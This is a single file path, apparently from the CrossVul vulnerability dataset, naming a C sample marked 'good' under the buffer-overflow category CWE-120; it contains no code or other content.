./CrossVul/dataset_final_sorted/CWE-120/c/good_4681_1